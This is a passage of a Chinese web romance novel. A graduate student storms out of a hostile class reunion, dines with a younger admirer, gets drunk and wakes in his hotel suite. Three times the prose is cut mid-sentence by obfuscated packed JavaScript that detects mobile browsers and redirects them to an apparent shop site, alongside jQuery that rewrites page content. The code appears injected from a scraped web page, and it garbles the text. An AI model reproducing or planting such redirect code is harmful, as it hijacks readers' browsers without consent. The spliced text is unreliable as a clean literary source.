门口聚着三两个人,在金书玉走过去的时候已经认出了她,正热情地打招呼。 在他们的带领下,几个人一起走进一个宽敞的包间。 推开门的时候,里面十多双眼睛齐齐看过来。 高中同学现在基本已经工作,还在读研的也有几个,不算多,加上她估计就仨,此时另外两人正坐在角落,旁若无人地说着同门和导师的八卦。 真是同一个圈子,同一批八卦。见金书玉进门,几个人抬起头,笑着朝她挥手,算是打了招呼。 金书玉笑着点头回应。 其他人多多少少已经在社会上摸爬滚打过,有些高中毕业就直接工作了,看打扮和气度能区分出来。男的大多西装革履,陪着个公文包和大油头。女的穿着或规矩或张扬,是体制内还是自由职业一眼识别。 穿个衬衫长裤加外套就出来的,怕是只有金书玉了。 坐在主位上的男士见到金书玉,眼神亮了亮,起身前来迎接。 “书玉啊,过来坐过来坐,我们当年的美女学霸,帝都大学高材生!” “对啊对啊,大学霸呢!” “现在是不是还在读书啊?” 毫不走心的恭维话和带着打探的询问一箩筐砸过来,金书玉感觉耳朵嗡嗡叫,随意点头发出语气词敷衍着,视线不自觉地飘到桌面上的菜色。 看上去花花绿绿,应该还不错。 最终也没认出眼前的人是谁,但出于礼貌,她没直接问,只是点点头,坐到了空位上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469532|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她坐定,不知怎的,话题忽然全部转了过来。 “哎金书玉,你现在还在读书啊?”问话的是一个发福的男人,黑西装大背头,看起来混得人模人样,但眼神让人不太舒服。 金书玉放下筷子,点了点头。 “那读完研出来,得二十七八了吧?” 金书玉没接话,饭桌上七七八八的声音逐渐低了下去,似乎在等她回答。 那男人却不依不饶:“要我说啊,女孩子读那么多书干嘛,趁着年轻早点嫁人才是正经。再过两年,好男人都被挑光了,到时候谁要啊是吧哈哈哈哈……” 桌上人跟着笑起来,三两声,尖锐突兀且不怀好意,像猪猡与同伴相对哼哼。 男人见她依旧不出声,越发来劲:“哎我跟你说,这话你别不爱听,都是为你好。你看在座的女生,哪个不是工作一定下来就考虑嫁人了?就你还在学校里耗着,到时候出来年纪大了,想找都找不着——” 就在此时,金书玉把餐具往前一推,瓷器碰撞到玻璃转盘,发出一阵丁铃当啷的脆响。 场面顿时安静下来。 金书玉平静地看他:“说完了?” 男人尴尬地点点头。 “那我可以吃饭了?” 零人回答。 气氛一时有些僵。 旁边有人打圆场:“哎呀老张你少说两句,人家学霸有自己的追求嘛。” “就是就是,来,喝酒喝酒。” 被称为“老张”的男人悻悻地端起酒杯,但眼神还在金书玉身上转了一圈,嘀咕道:“我这是为她好,爱听不听,不听拉倒。” 金书玉权当没听见,继续吃饭。 旁边一直没怎么开口的男人忽然伸手,按住了她的手臂。 很突兀且很不礼貌的举动,金书玉拧眉看过去,却听男人温声道:“让服务生给你换一套吧,刚才筷子掉桌上了。” 金书玉看他一眼,这人坐在主位旁边,气质还算温和,就是看着自己的眼神让人不太舒服。 “谢谢,不用。”她抽回手臂,下意识地拍打着他刚刚触碰过的地方。 “还是换一套吧。”男人见状,也不恼,语气依旧温和,抬手招来服务生,动作自然得像是在自己家里一般。 周围人见机迅速恭维:“哎呀还是严瑾细心,不愧是当过班长的。” “那是,人家现在可是投行精英,年薪近百万呢。” “严老板现在有对象没?没有的话,咱们书玉不是正合适嘛,美女高材生呢哈哈哈哈——” 金书玉筷尖又顿住了。 严瑾抬手抿了口茶,眉也不抬,只是笑了笑,没接话,但眼神很快又落在了金书玉身上,毫不避讳。 那肆意的打量毫无掩饰,看得金书玉如芒在背,忽然没了胃口。 她把几乎没动的碗放下,起身:“见也见了,饭也吃了,菜钱算好发群里我会A,没什么事我就先走了。” 说完,也不等别人反应,直接推门出去。 身后隐约传来那个老张的声音:“啧,学霸就是不一样,架子大得很,压根看不上我们这些……” 金书玉脚步微顿,闭了闭眼,深吸一口气,然后转身走回去。 推开门的时候,屋里的人还在交头接耳。老张看到她,嘴皮子又开始动,“哟,怎么地又回来了——” 蠕动的嘴还没喷完,金书玉已经顺手从推车上拎起茶壶,抬手试了试水温,微凉不算烫。 见她动作流畅,老张的自我感觉还十分良好,刻意把茶杯往她面前推了推,“哎哟,咱日子也是好起来了,大学霸为我们端茶倒水……” 下一秒钟。 温热的水劈头盖脸淋了下来,金书玉觉得水流太小,干脆掀开壶盖直接倒! “我操!金书玉你个疯子!” “哎怎么回事?” “金同学,这……” 水被倒完,未免浪费,金书玉还顺手敲了敲壶底,底部的茶叶吧嗒一下,糊在了老张的头顶。 造型喜感,像刚从猪圈里爬出来的流浪汉。 “嘴太臭了,给你洗洗。” 14. 书玉 做完这一切,没理会身后各样的视线,金书玉转身就走。 没了苍蝇在耳边嗡嗡叫,走廊里终于安静了。 金书玉舒了口气,加快脚步往电梯走,心里那叫一个后悔。 早知道就不来了。 跟这群小脑没发育完全的人一起吃饭,真是纯受气。 关键是还没吃饱。 总共都没吃几口。 真亏。 身后传来脚步声。 “书玉,书玉!” 金书玉闭了闭眼,转过身。 果不其然,是严瑾。 强压下心头的烦躁,金书玉冷淡开口:“还有事?” 严瑾走近两步,笑得温和,镜片在走廊顶灯的照射下,泛着冷光:“这么多年没见,怎么就走这么急?大家好不容易聚一次。” “……”金书玉心头拉起防备,警惕地盯着他,往后退了一步。 严瑾像是没注意到她的动作,毫无边界地上前,继续道:“刚才老张那些话你别往心里去,他那个人就那样,嘴上没个把门的。而且——” 刻意停顿了一下,镜片后的眼睛眯了眯,他又幽幽补充,“刚刚也解气了不是。” 心里冷嗤一声,金书玉懒得和他浪费时间,转身想走。 “书玉。”严瑾又叫住她。 金书玉脚步没停,身后的语气却带着隐隐的威胁:“老张他现在做着生意,他舅舅,可是这家餐厅的经理。” 金书玉愣了一下,回过头,“你什么意思?” “我的意思是,”严瑾往前走了一步,眸光幽暗,“他说不准会借机报复。不过呢,正好我也稍微有点权力,如果你跟我的话,看在我的面子上,这事也就直接掀过了。” 金书玉看着他,眼里写满了不可思议。 怎么才几年不见,这几位已经连人都不像了,演都不演了。 她忽地挑眉:“跟你?” 严瑾矜持颔首,仿佛给了她天大的恩赐。 金书玉:“哦,我妈让我别和没跟的东西玩。” 严瑾表情瞬间凝固。 “噗嗤——” 话音刚落,墙根处忽然传来一声轻笑,忽略严瑾涨成猪肝色的脸,金书玉转头看去。 宿昀从拐角走出来,一手插着兜,另一手随意地抛着一个金属盒子,一下一下,从走廊暗处转出,逆光而来。 他先看了金书玉一眼,视线从上到下扫了一遍,像是在确认她有没有事。 然后才把视线转向严瑾,原本上挑的俊眉瞬间压下,嘴角扯出一个恶劣的弧度: “这位叔叔,没听见人家赶客吗?再纠缠下去不礼貌了吧。” 严瑾脸上的神色沉了下去,镜片反着光,看不清眼神。 他没理会宿昀,只看向金书玉,语气依旧温和:“书玉,这位是……?” 一听这称呼,宿昀立刻往前站了一步,金属盒子往金书玉手里一塞,便把人挡在身后,浑身炸了毛似的:“谁是你家书玉啊叔叔,你跟她什么关系啊,做人能不能有点边界感?” 才二十出头一直被叔叔长叔叔短地叫,严瑾一直紧绷的神态终于呈现出一丝龟裂。 听着这小学鸡似的吵架风格,金书玉莫名觉得宿昀十分可爱,不由笑出了声。 笑声顿时吸引了两个男人的视线,严瑾观察着两人的互动,眸色微深。 视线重新回到眼前看起来还十分年轻的小子身上,严瑾恢复了惯常的神色:“那这位……弟弟,和她又是什么关系呢?成年了吗小孩?” 声调揶揄,毫不掩饰的针对直扑过来,宿昀觉得他表情比楚桓还欠揍。 “你……!!!” 金书玉连忙拉了拉宿昀的袖子:“好了,就是个不熟的人而已,何必跟他生气,我们走吧。” “不熟的人”四个字瞬间让宿昀偃旗息鼓,他得意地朝严瑾挑挑眉,末了,还朝他比了个中指。 “这把年纪了,你还是慢慢相亲去吧,叔叔!” 翘着不存在的尾巴,宿昀大摇大摆地往外走,身后却传来一连串的动静。 金书玉本不愿理会,可他们似乎并没有放过她的意思。 那群人似乎听到了走廊里的动静,出来围观了。 老张依旧扯着嗓门,嘴里脏字没带停的,嚷嚷着扬言要让他的经理舅舅出来,让金书玉好看。 宿昀眼神微微一眯,忽地低头,看金书玉正在走神,他轻轻拍拍她的肩,压着眉低声问道:“学姐,刚刚你就和他们吃饭?” 表情看上去有点凶。 她下意识拉了拉他的袖子:“宿昀。” 宿昀低下头,金书玉抿了抿唇:“只吃了两口,好饿。” 声音软乎乎的,和平时不太一样。 宿昀愣了一下,那点凶忽然被戳破了,顿时泄了个干净。 他连忙道:“那我们先去吃饭,不理他们了。” 两人继续往外走,可闲言碎语依旧追了上来,“哎哟这有些人啊,连什么好都不知道,人家严老板可是开奔驰的,跟这么个弟弟回去,怕不是要坐电动车吧,可别吹感冒了嘻嘻。” 某种程度上讲,她还真坐过,也没说错。 金书玉心想。 但宿昀脚步却停了下来,松开她的手,直接转身。 金书玉下意识想跟上去,却见他忽然回过头,冲她笑了笑:“学姐,站着别动,等我一下。” 语气很轻,像平时和她说话的模样。 金书玉脚步停了下来,站在原地,看着他走向那群人。 距离有点远,她压根听不清他们的交流,只看到宿昀走到刚才说话那人面前,笑着拍了拍对方的肩,动作甚至称得上友好。 那人却像是被什么噎住了一样,视线忽地向外飘去,神情立即变了。周围的一圈人你看看我我看看你,神色大差无几。 宿昀似乎又说了几句,嘴角始终噙着笑,像在和他们聊家常,神情比刚才和严谨对峙的时候温和多了,气氛却显然沉了下去。 整个过程,不到一分钟,然后他转身走了回来。 身后再没有人叽歪半个字。 金书玉看着逐渐走近的宿昀,又瞅瞅远处明显变得古怪的氛围,懒得探究原因:“……弄完了?” 宿昀点头:“嗯嗯。” 金书玉笑眯眯地,“那可以去吃饭了?” 笑得十分可爱,宿昀很想伸手揉她的头发,却在伸到一半时,堪堪停住,只说道:“嗯,走吧。” - 悍马已经提前让人开到了餐厅门口,宿昀拉开副驾的门,让金书玉先上了车。 自己绕到驾驶座,发动引擎。 车子缓缓驶过餐厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469533|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,金书玉的那群同学刚好从门口出来,三三两两,似乎在告别或是打车。 宿昀见状,脚尖一点油门,黑色悍马忽然加速,轰鸣着从餐厅门口疾驰而过,扬起一地的灰尘。 然后一个漂亮的拐弯,一溜烟开走了。 “拜拜了您嘞!”声音嚣张跋扈,才出来的严瑾镜片上立刻覆了一层灰。 严瑾:“……” 后面吃了一嘴灰的人群:“……” 金书玉一脸无奈地看着宿昀幼稚的举动,最终也没说什么。 这种被人护着并且事后报复回去的感觉。 别说,还真挺爽的。 “我们去哪吃学姐?” 宿昀绕着方向盘,随口问道。 金书玉正琢磨着手里的金属盒子,闻言不禁抬头:“你还没吃?” “这不是等着学姐一起吗?。” 金书玉想了想:“都可以,你想吃什么?” “学姐吃法餐吗?或者,意大利的?” 金书玉想了想自己听说过的法餐和意大利菜,认真疑惑:“那能吃饱吗?” 倒是没料到会得到这么个回答,宿昀顿了一下,一脚踩下刹车,随即哈哈大笑出声,趴伏在方向盘上,浑身抖得连座位都跟着颤。 等笑够了,他重新踩下油门,“也是,走,咱们吃量大管饱的东北菜去!” 金书玉坐在大铁锅面前的时候,表情还有些恍惚。 没想到短短几天,自己又和宿昀一起吃上了饭。 熟练地往锅沿贴着玉米饼子,宿昀搅了搅锅里的炖鹅,给金书玉盛了一碗。 “来来,书玉,快吃点这个,很补的。” 金书玉接过的手一顿,“你叫我什么?” 宿昀一脸理所当然:“书玉啊,怎么了?那老男人都能喊你书玉,怎么我就不行?” 金书玉哭笑不得:“人家最多也就二十六七。” 宿昀眉梢高高吊起:“我不是说过么,男人过了二十五那就是六十……” 眼见他巴拉巴拉又要开始陈述自己那套歪理,金书玉连忙比了个手势让他停下。 又轻斥一声:“没大没小。” 但声音很低,说完之后,便双手捧碗,垂着眼,喝汤了。 大铁锅里雾气升腾,周围人声嘈杂,喧闹中又含着特有的生活气。 金书玉嚼着锅包肉,忽然想起来:“宿昀,刚刚你跟他们说了什么,怎么都很怕你的样子?” 往自己碗里盛汤的手微顿,宿昀卖了个关子:“学姐你猜?” 金书玉此前几乎没经历过这样的事,让她猜也没个着落,歪着头想了一会儿,她摇摇头,“猜不出来。” “我说的是——” 声调故意拖长,宿昀瞄了一眼金书玉被热气蒸得红扑扑的脸,眼珠一转,“学姐,你凑过来点,我告诉你。” 金书玉不疑有他,倾身凑了过去。 宿昀刻意贴到她耳侧,呼吸喷洒的热气从耳边晕开,又酥又痒。金书玉不太自在,但也没有坐回去。 盯着那白皙的侧颈和耳垂出了会儿神,他缓了缓神,声音舒缓且悦耳,说出来的内容却十分气人:“……不告诉你!” “宿昀!”金书玉被耍了一道,瞪他一眼,坐回去愤愤往嘴里扒饭。 然后一不留神,就吃撑了。 15. 醉酒 东北菜的量大果然名不虚传,等金书玉反应过来,自己已经吃撑了。 席间,在店家的倾情推荐下,她还就着热气腾腾的炖鹅,喝空了一小瓶啤酒。 平日里她几乎滴酒不沾,这点度数下去,脸上便迅速浮起两团酡红。 “干……干杯!”她举起还凝着水珠的易拉罐,盛情相邀。 由于待会儿还要开车,宿昀倒是没喝。 他看着金书玉举着易拉罐、眼神已经开始发飘的样子,忍不住笑了笑,很给面子地端起茶杯,轻轻碰上去,“干杯。” 金书玉仰头又灌下一大口,氤氲的雾气里,周围的一切都染上了朦胧的重影,很快,困意也随之袭来。 抬手在迷瞪的双眼前晃了晃,宿昀轻声开口:“学姐,学姐?” 金书玉“嗯”了一声,忽然站起身。 宿昀一愣,以为她要做什么,结果她憋了半天,只是叹了口气,又软软地坐了回去。 摸着已经鼓起弧度的小腹,金书玉鼓着脸,垂着眼,看上去很苦恼的样子,“好撑……” 宿昀差点笑出声,放下了筷子:“那不然走了?或者出去走走?” “好。”金书玉答得飞快,几乎是话音落下的同时就站了起来。 随后开启自动跟随模式,小尾巴似的缀在宿昀身后,看他结账,看他推门,跟着他往旁边的开放公园走。 三里屯这片宿昀也不熟,走到一半,他停下来摸手机找导航,金书玉却没收住脚,直直撞了上来,鼻尖磕在他后背上,顿时红了一小块。 “你干嘛……”她揉着鼻子,皱着脸嘟哝。 宿昀转过身,刚低下头就对上这张皱成一团的小脸,委屈巴巴的,偏偏眼睛又大又亮,里面还蒙着未散的懵。 他忍不住伸手,捏了捏她的脸颊。 金书玉抬头看他,眼神直愣愣的,像是没反应过来他为什么要捏自己。 被这样直勾勾地盯着,宿昀动作一滞,莫名有些心虚。 他缩回手,清了清嗓子,故作若无其事地举起手机:“那个,我,我查一下路。” “哦。”金书玉点点头,没再追问,乖乖地继续跟上。 要是能一直这么乖巧就好了,这样的学姐,看起来可真……好欺负。 宿昀想。 公园不远,离他们的位置只有两百米左右。这个点锻炼散步的人早已离去,只剩下零星的路灯晕开昏暗的光,间杂零星的一两声鸟叫。 栈桥一路延伸,脚下是细微的流水声,头顶是树叶的沙沙响。 有点太安静了,金书玉生怕自己跟丢,伸手逮住了宿昀的衣服下摆。 宿昀一愣,侧过头观察,见她确实头也不抬,只懵懵地跟着自己走,一副完全不设防的模样,不免开起了玩笑。 “这么相信我啊学姐,这里黑灯瞎火的,不怕我把你拐去卖了?” “嗯……嗯?” 金书玉停下脚步,努力聚焦视线,似乎在思考。 片刻后,她笃定摇头:“你不会。” 宿昀还没来得及高兴,金书玉又补上下一句话:“你又不缺卖我那点钱。” 宿昀:“……” 他就知道。 但逗弄的心思还没歇,他凑近了些,故意压低声音:“谁会嫌钱多呢?是吧。” “也是。”金书玉重重点头,深表同意。 然后双手握拳并拢,往前一递。 “那,给你拐。” 宿昀愣住了。 最近的路灯在六七米外,树影婆娑,金书玉的脸半隐在暗处,看不清神情。 但宿昀莫名觉得,她应该是笑着的。 心口不受控制地砰砰跳。 不免想要得寸进尺,几乎是哄着道:“学姐,真给拐啊。那……能拐回家吗?” “那不行。”金书玉一口回绝。 果然。宿昀眼睫垂下,遮住了里面的神情。 “我还得回去看细胞。现在不能回家。” 宿昀:“……” 很怀疑以后她会直接和实验室结婚。 他没再说什么,只是笑着摇了摇头,带着人顺着小公园慢慢逛了一圈。 夜风微凉,却没能把人吹清醒,金书玉的脑袋反而越来越沉,脚步也开始发飘。 宿昀见状,连哄带拽地,总算把人弄回了车上。 车门一关,温暖从四面八方包裹上来。 金书玉的脑袋刚挨上软和的靠垫,眼皮就再也撑不住了,几乎是瞬间,便沉沉睡了过去。 准备发车的时候,宿昀往副驾看了一眼,金书玉的恬静的睡颜猝不及防地撞入眼中。 心头恍惚了一瞬,他忽然觉得,要是能够一直这样,也挺好。 倾身过去,宿昀拉过安全带帮她扣好。 卡扣刚“咔哒”一声合上,金书玉却忽然睁开眼,视线在宿昀脸上停留了半秒,似乎在辨别眼前的面孔。 等看清了是谁以后,她又放心地阖上眼,睡了过去。 宿昀眨巴着眼。 她刚刚认出自己了?还是说没醒?这么放心? 他试着凑到她耳边,轻声喊了一句。 金书玉又一次睁眼,眉头还微拧着,带着显而易见被吵醒后的不悦。 宿昀忍着笑,征求她的意见,“我们现在去哪?” 金书玉定定地看着他,这个问题对于现在的她来说似乎过于复杂,就这么瞪着眼,半天给不出任何信息。 眼珠一转,宿昀换了个问法:“那学姐今晚还去实验室吗?” 这题她会。 十分果断且斩钉截铁:“不去。” 她都在里面耗好几天了,就是生产队的驴也该休息下了。 宿昀满意了,继续模糊地引导:“那我们先找个地方休息?” 这个金书玉听懂了,欣然点头。 得到首肯,宿昀一脚油门踩下。十几分钟后,高大的悍马停在了一家酒店门口。 把金书玉从副驾抱下车,宿昀将钥匙往门童手里一扔,熟门熟路地拐进电梯。 前台远远看见,小跑着跟过来替他按了电梯:“宿先生,房间早上已经清洁过,密码没改。需要我带您上去吗?” “不用,谢谢。”宿昀腾出一只手,拉了拉金书玉的兜帽,替她挡住电梯里有些刺眼的灯光。 前台见状,识趣地退后一步,微笑着目送电梯门合上。 电梯快速上升,或许是姿势不太舒服,金书玉窝在宿昀怀里,不安地动了动。 “好了,别急,马上就到。” 没几分钟,金书玉便陷进了一个柔软的垫子里。 好舒服,像躺在云朵上一样,跟宿舍里那个木板床完全不一样。 她抱着被子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469534|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,翻了个身,滚到了床中央。 还没来得及给她脱鞋的宿昀:“……” 把乱动的脚捉回手里,宿昀把小白鞋摘下,顺着床边放好,便打算自己收拾睡觉了。 结果人还没踏出客卧,身后传来幽幽的声音。 “好热,要洗澡。” 再回头,金书玉已经摇摇晃晃地站在地毯上,朝着卫生间的方向走去,似乎准备凭借模糊的意识,给自己过一道水。 下一秒,“吧唧”一声,人已经扑在地毯上了。 动作之笨拙滑稽,把宿昀看得乐出了声。 但地毯上的那滩人好几秒钟都没动弹。 坏了,不会摔了怎么样吧? 连忙折返回去把人翻过身来,一看,只觉得自己简直瞎操心。 金书玉已经趴在地毯上睡着了,呼吸均匀,睡相……难评。 宿昀蹲在那儿看了她一会儿,甚至还伸手戳了戳颇有弹性的脸,惹得金书玉胡乱地挥手拍打,嘴里嘟哝着:“哪来的蚊子这么烦人。” “蚊子”本人勤勤恳恳、兢兢业业地把人折腾回床上,努力地替她拉了好几次被子,奈何金书玉睡相实在感人,被子在身上粘不了半分钟就不知道踢到哪去了。 宿昀只好把空调调成恒温模式,随后轻手轻脚地拉上房门离开。 第二天一早,金书玉是被阳光晃醒的。 抬手遮住光线的时候她还纳闷,难道昨晚上睡觉没关灯吗?她宿舍什么时候这么亮了。 等完全适应了光线睁开眼,神志回笼的时候,她才看清四周的环境。 眼睛蓦地瞪大。 这是哪?! 她连忙低头看自己,依旧是昨天晚上那身,不过经过自己一晚的翻滚,已经睡得明显发皱。 略微放心,金书玉翻到床边穿鞋,视线擦着床头过经过,忽然停了下来。 这是……? “学姐~早上起来如果要换衣服的话,可以穿这个!” 字迹相当潇洒且……丑。 这称呼,再加上那显眼的波浪号,不用怀疑只会是一个人。 金书玉都能想象出来宿昀写这个便签的时候,那翘着尾巴的得意小表情。 拎起衣服看了一眼,款式相当于身上这套的复制粘贴,不过材质看起来还不错,尺码也合适,而且吊牌已经剪掉了。 反正也退不掉,不穿白不穿。 金书玉快速冲了个澡,换上新的衣服,推开了卧室门。 宽敞简约的设计风格扑面而来,简单色调带来的秩序和整洁,让金书玉印象很好。 高大的身影穿梭在厨房和吧台前,金书玉走过去,一眼扫过台面上热气腾腾的丰富早餐,语带惊讶:“这些是你做的?” 见她出现,身上还穿了自己买的衣服,宿昀眼睛一亮:“学姐,你起啦!” 之后才慢悠悠地回答她的问题:“哪儿能啊,我自己可做不了这么多,早上客房服务送来的,我只是加热一道。” 金书玉坐下,夹了一个水晶包塞进嘴里,“昨天怎么会来这里?怎么没回学校?” “学姐你点头答应了来这里的呀!” 筷尖一顿。 “我?” 见她怀疑,宿昀摸出手机,摆弄了几下,然后递到她面前。 “呐,车载监控全程完整的视频录像,不信看看?” 16. 视频 水晶包子吧嗒一声,倒霉地跌在桌面上。 金书玉手忙脚乱地捡起来扔掉,红着耳尖,把手机推了回去。 不讲武德!怎么还带录像的! 宿昀挑挑眉:“真不看?” 金书玉密集摇头,干笑两声:“不了不了。” 宿昀轻笑一声,收了手机。指尖摁下开关的瞬间,他心底暗自松了口气。 还好她没点开,他赌赢了。不然等她看到自己是如何一步步精心引导的情形,丢脸的恐怕要换成他了。 快速解决了早餐,金书玉起身在会客厅里踱步,试图消解方才那份尴尬,宿昀将碗筷摞起来,让客房服务进来收拾。 金书玉走到横亘客厅整墙的巨大落地窗前,隔着厚厚的透明玻璃窗俯瞰。 三里屯的繁华被悉数拢入眼底。漫天雾霾中,排排接连的车在道路上禹禹前行。因为所处高度太高,周围那些平日里高大的写字楼,此刻竟透着几分模型般的稚拙可爱,像她小时候玩过的玩具。 更远的地方,中国尊与央视“大裤衩”冲破铅灰色的浮云,高耸入云,显出几分不易亲近的冷峻。 “原来从高处看,京市是这样的。”金书玉轻声感叹,呼吸在玻璃上晕开一小片白雾。 宿昀不知何时凑了过来,扫了一眼窗外。对他而言,这景色稀松平常,近乎乏味。 “可不是,”他随口应了一句,“站得高,自然望得远。” 客房服务人员匆匆进来收拾,半分钟后推着餐车又快速离开,全程悄无声息。 金书玉见到他们,忽然想起正事,看向宿昀:“对了,这里的房间应该很贵吧,昨天晚上谢谢你。房费多少,咱们AA,我转给你。” 正从酒架上取下一瓶红酒的宿昀闻言,回过头,像看什么稀有生物似的盯着她,眼底漾开一丝笑意:“这么客气?那学姐知道这一晚上得填进去多少钱吗?” 金书玉心里咯噔一下,语气跟着虚了几分:“很……很贵吗?” 见她一副如临大敌、仿佛下一秒就要破产清算的表情,宿昀生出几分促狭的心思,模棱两可地点了点头:“差不多吧。说贵也算不上,但确实也不便宜,就看学姐打算怎么付了。” 金书玉纠结半晌。 宿昀估摸着胃口吊得差不多了,生怕再逗下去会适得其反,正准备开口揭底,却听见金书玉深吸一口气,用一种破釜沉舟的悲壮语气开了口: “那……能分期吗?” 说完,生怕分期也是一笔难以接受的数额,金书玉又谨慎补了一句:“分24期。” 宿昀:“……” 实在理解不了她清奇的脑回路,宿昀笑着摇摇头,一手拎着红酒,示意她跟上,领着人往电梯走:“好了,放宽心吧学姐,房费挂我爸公司的账,能报销。” 本意是让她放下心理负担,谁知金书玉脚步猛地一顿,眼睛亮得惊人:“公司叫什么名字?生物硕士要吗?” 宿昀:“……” 金书玉还沉浸在“怎么有公司能给员工报销套房”的震撼里,宿昀在旁边含糊地应了几句,半引半带地领着她回到了宽大的悍马上。 在后座车载冰箱里放好红酒,宿昀回到驾驶座,看到金书玉正在把玩昨天被他随手扔到副驾上的金属盒子。 盒身的纹路繁复而古拙,边缘涂抹着暗沉的墨绿,中心则透出黄铜原有的光泽。几处漆面已经磨损剥落,看着已经有些年头了,沉淀出一种沉稳厚重的质感。 “这到底是什么?”金书玉在耳边晃了晃,里面传来几声清脆的撞击响声,如碎玉落盘。 “牌九。”宿昀一边打着方向盘,一边回应。 见她研究半天没找到关窍,宿昀腾出一只手伸过来。修长的手指在盒子一角的平面上轻轻扣住,指尖发力往下按。 原本严丝合缝的的盒子瞬间“活”了过来,在一阵极轻的机械咬合声中向四面舒展开来,整齐地平摊在金书玉手心,露出内里的乾坤。 金书玉听说过牌九,但她印象中的这玩意,要么写在纸片上,要么刻在木片上,手里这个…… 她捏起一枚通体碧绿的薄片,上面嵌着三个红点。触感生凉细腻,抬起手的瞬间,折射着车外的光线,做工精致得让人惊叹。 “这是什么材质?” “翡翠。” “?”金书玉惊愕地转过头,着那一小块碧绿,指着满盒的晶莹,“你是说,这一整盒都是翡翠?” “嗯,民国的老物件。”宿昀依旧那副波澜不惊的模样,“打算送人的。这车是找朋友借的,他好收藏这些玩意,之前去嘉德碰巧遇上,觉得有点意思,就顺手拍下来了。” 原本松弛的脊背瞬间绷直,金书玉像托着一枚定时炸弹一般,屏住呼吸,小心翼翼地将盒子严丝合缝地扣好。 随后,以一种近乎虔诚的姿态,恭恭敬敬地将盒子端放到中控台上,待到盒子放稳,手立刻撤回,规规矩矩地放在膝盖上,连呼吸都变得轻不可闻。 看她突然间变得谨小慎微,宿昀忍俊不禁,“怎么突然搞这么严肃?” 金书玉正襟危坐,目不斜视:“你不懂,这东西要是磕了碰了,把我卖了都赔不起。刚刚你可看清了啊,我没乱动,完好无损地放回去了,车载监控能给我作证!” 没想到自己早上的行为反倒被将了一军,宿昀笑得胸腔微微震颤,语调里都染上了不易察觉的纵容:“行,监控作证,学姐最守规矩了。” 本以为接下来的路程会在这种谨慎的沉默中度过,行至半途,金书玉手机忽然响了。 摸出手机一看,屏幕上跳动着视频通话的请求,备注显示着一个简单的字:【妈】。 在反应过来之前,手指已经习惯性地按下了接通键。 画面一闪,陈女士那张写满关切的脸挤满了屏幕。金书玉看到屏幕里自己身后的真皮内饰,这才猛然惊觉,当下的环境不太适合接视频电话。 但已经来不及了,陈女士已经眼尖地注意到金书玉周围背景的变化:“乖宝,不在实验室啊?” 金书玉硬着头皮:“嗯。出门和同学聚餐去了。” 陈女士不疑有他,语气如常地叮嘱:“哦,出来透透气也好。钱还够不?要不妈妈再转点给你?” “够的,妈,我平时用不了什么钱。” “哎,”陈女士盯着画面看了一会儿,疑惑道,“我看你这背景……是在车里吧?打车吗?” 金书玉下意识地飞快瞥了宿昀一眼,他目不斜视地盯着前方路况,侧脸轮廓在流动的光影中清隽专注,完全没有要出声打扰的意思,仿佛真的只是一个恪尽职守的司机。 “没打车,”金书玉尴尬应道,“是朋友送我。” 那头的陈女士显然松了口气,语气轻快了不少:“朋友啊?那挺好。回头等回去了,找个机会请人家吃顿饭,或者送点小礼物感谢一下,咱家不兴白占人便宜啊。” “好。” 挂断电话后,金书玉轻轻抿了抿唇,将手机收回兜里。 车厢内重新安静下来,只有空调送风传来轻微嗡鸣。 宿昀从后视镜看了她一眼,“还是第一次见学姐和家里人聊天。” “他们平时都挺忙的。”金书玉垂下眼帘,随口答道。 并未察觉到她此刻心绪不佳,宿昀应了一声,又随口问起,“伯父伯母做什么的?” “我爸是司机,妈妈在事业单位。”金书玉答得坦然,停顿片刻,鬼使神差地反问了一句,“你呢?” “我家啊,”宿昀语气散漫,“我妈是公务员,我爸在药企上班。” 金书玉点点头,若有所思:“那你家里也算和生物医药沾边?” “昂,”宿昀拖长了尾音,“所以我打算以后辅修个生物专业。别的不懂没关系,家里这摊子事总得了解一点。到时候可就全赖学姐辅导啦!” 金书玉心不在焉地应着,视线却不受控制地越过他,投向窗外。 十点钟的京市,再加上是国庆,街道依旧拥堵。车流将他们裹在中间,一点点往前挪。 看着外面一层层叠起来的高楼,金书玉忽然生出一点陌生的感觉。 她已经在这里读书五年,却很少这样认真地看过这座城市。 更多的时候,她呆在学校里,偶尔出门,也只是搭乘地铁,在看不见天光的地方来回活动。 像一只奔忙一生,却始终找不到出口的工蚁。 她收回视线,看了宿昀一眼。 他握着方向盘的手指骨节分明,姿态舒展而随意,像是在一条再普通不过的路上。 或许,只有像他这样土生土长的京市人,才能在这钢筋水泥搭建的社会丛林里,拥有那份其他人求不得的归属感吧。 